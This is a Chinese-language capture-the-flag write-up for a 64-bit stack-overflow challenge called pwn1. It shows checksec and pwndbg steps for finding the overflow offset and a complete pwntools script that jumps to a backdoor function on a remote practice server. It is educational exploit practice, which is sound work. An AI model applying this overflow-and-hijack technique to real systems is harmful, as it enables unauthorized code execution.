题目:
使用ida反汇编程序,发现是一个栈溢出类型,从函数中可以看出给了一个s数组,但没有对输入的长度作限制,因为是一个典型的栈溢出漏洞。
然后从main函数之下的fun函数里可以看见一个后门。
顺便记录一下后门地址为0x0000000000401186.
先使用命令checksec 查看程序保护情况。
checksec --file=pwn1
发现并没有canary保护。
使用gdb结合pwndbg调试进程,计算我们覆盖到返回地址所需字节。
使用快捷命令b在main函数处下断点,并使用r(run)运行。
b main
r
使用命令 n 按行运行,找到输入点,并随便输入几个字符,如aaaa。
此时使用命令stack查看栈帧情况。(若此时看不到ebp,可在命令后加0x30或更大十六进制数来查看更大范围栈帧情况)
此时可以看到传入数据aaaa的地址,但是此时传入数据的开始是e0,也就是此时看见的地址并不是数据的起始地址,可以重新调试,输入大一点的数据再看看,比如aaaabbbb。
很明显,数据是从e1位置开始传入的,这里我避免数错,直接计算。
此时计算的结果是正好覆盖到ebp,而我的目的是覆盖到返回地址,也就是计算结果还需要加上8个字节才能把ebp给覆盖掉,到这,已经可以写exp了。
from pwn import *
#io = process('./pwn1') #本地
io = remote('node4.buuoj.cn',29090) #远程
#gdb.attach(io)
#io.recvuntil(b'please input\n')
backdor = 0x0000000000401186 #后门地址
payload = b'a' * 23 + p64(0x0000000000401016) +p64(backdor) #中间地址是为了保持栈平衡加的ret地址
#pause()
io.send(payload) #发送payload
io.interactive() #建立交互界面
注:查询ret地址可以使用ROPgadget命令。
ROPgadget --binary pwn1 --only "pop|ret"
经测试,本地无问题。
开启靶机,攻击远程。
成功拿到flag!!!